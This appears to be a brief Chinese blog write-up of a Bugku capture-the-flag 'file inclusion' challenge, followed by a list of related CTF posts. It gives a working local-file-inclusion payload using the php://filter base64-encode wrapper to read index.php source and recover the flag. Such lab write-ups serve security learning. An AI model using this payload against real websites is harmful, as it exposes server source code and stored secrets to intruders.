bugku--文件包含

点击

访问一下index.php

页面报错

既然是文件包含就可以想到php伪协议

这里我们需要访问本地文件系统 构造我们的payload

?file=php://filter/read=convert.base64-encode/resource=index.php

base64解码

得到我们的flag 提交就好啦

?file=php://filter/read=convert.base64-encode/resource=index.php

?file=php://filter/read=convert.base64-encode/resource=index.php

file 访问本地系统,以php的形式,过滤读取 以base64的形式输出出来index.php里面的内容

相关推荐
qsuperm2 天前
LitCTF2026WEB
网络安全·ctf
路baby2 天前
2026第十届御网杯网络安全大赛线上赛 区域赛WP (MISC和Crypto)(详解-思路-脚本)
安全·web安全·网络安全·密码学·ctf·misc·御网杯
沄媪5 天前
CSRF 跨站请求伪造
前端·ctf·csrf
沄媪5 天前
XSS 跨站脚本攻击
前端·ctf·xss
沄媪5 天前
反序列化漏洞
ctf·反序列化
祁白_6 天前
[0xV01D]_Night Traffic_writeUp
网络·安全·ctf·writeup
祁白_6 天前
[0xV01D]_Release Echo_writeUp
大数据·安全·ctf·writeup
yv_309 天前
yx秋季26期中考
ctf
祁白_9 天前
PHP无参RCE
web安全·php·ctf·writeup
名字不相符10 天前
ctfshow之MISC入门(个人记录与学习)
学习·ctf·misc